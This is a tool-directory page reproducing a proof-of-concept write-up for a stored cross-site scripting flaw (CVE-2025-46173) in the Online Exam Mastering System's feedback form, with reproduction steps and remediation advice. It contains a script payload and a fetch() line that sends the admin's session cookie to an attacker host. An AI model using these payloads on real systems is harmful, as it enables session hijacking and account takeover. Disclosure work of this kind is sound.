Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-46173 — poc for the CVE-2025-46173 | Kitploit
Tools/GitHubGitHub/pruthuraut/cve-2025-46173
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & Education
GitHubpruthuraut/cve-2025-46173

CVE-2025-46173

poc for the CVE-2025-46173

View Repository
281 year agoNot yet reviewed
Share

CVE-2025-46173 - Stored Cross-Site Scripting (XSS) in Online Exam Mastering System 1.0

📌 Summary

CVE-2025-46173 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the Online Exam Mastering System 1.0 by code-projects. The vulnerability exists in the feedback.php component where user input in the name field is not properly sanitized, allowing a malicious actor to inject arbitrary JavaScript. When an administrator views this feedback in the admin dashboard (dash.php), the payload gets executed in the admin’s browser, leading to session hijacking and potential privilege escalation.


🧠 Vulnerability Details

  • Vulnerability Type: Stored Cross Site Scripting (XSS)
  • CVE-ID: CVE-2025-46173
  • Vendor: code-projects
  • Product: Online Exam Mastering System
  • Affected Version: 1.0
  • Component: feedback.php, dash.php
  • Attack Vector: Remote
  • Impact: Escalation of Privileges, Session Hijacking

📷 Proof of Concept

1. Injection

A user submits the following payload into the Name field in the feedback form:

<script>alert(document.cookie)</script>

Payload in Feedback Form

2. Trigger

When the admin later views the submitted feedback in dash.php, the payload executes:

Admin Trigger XSS

3. Result

The admin's session cookie is exposed through document.cookie, which can be exfiltrated:

<script>
  fetch("http://attacker.com/steal?cookie=" + document.cookie);
</script>

⚙️ Steps to Reproduce

  1. Clone or set up the vulnerable version from code-projects.

  2. Navigate to localhost/exam/feedback.php.

  3. Fill the "Name" field with:

    <script>alert(document.cookie)</script>
    
  4. Submit the form.

  5. Log in as an admin and visit dash.php?q=3 to view the feedback.

  6. The script will execute in the admin's context.


🔥 Impact

Successful exploitation allows a remote attacker to:

  • Steal admin session cookies
  • Impersonate the admin user
  • Gain full administrative access
  • Modify or delete test data
  • Escalate privileges

🔒 Recommended Remediation

  • Sanitize user input by escaping HTML special characters (e.g., &, <, >, ").
  • Use a robust sanitization library such as PHP’s htmlspecialchars() or a frontend validation + backend sanitization combination.
  • Implement a Content Security Policy (CSP).
  • Consider encoding data before rendering it in the DOM.

🔗 References

  • Blind Cross-Site Scripting (Invicti)
  • Acunetix - Detecting Blind XSS
  • OWASP XSS Prevention Cheat Sheet

👤 Discoverer

Pruthu Raut LinkedIn | TryHackMe Top 2% | GitHub


Screenshots are for educational purposes only. All testing was done in a local environment.

🎥 Video PoC

Click here to watch the demo video


⚠️ Disclaimer

This information is provided for educational and research purposes only. Do not use it on systems you do not own or have explicit permission to test.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    654
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    490
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    395
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    336
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    252

Explore all tools

Browse our collection of tools

View all tools →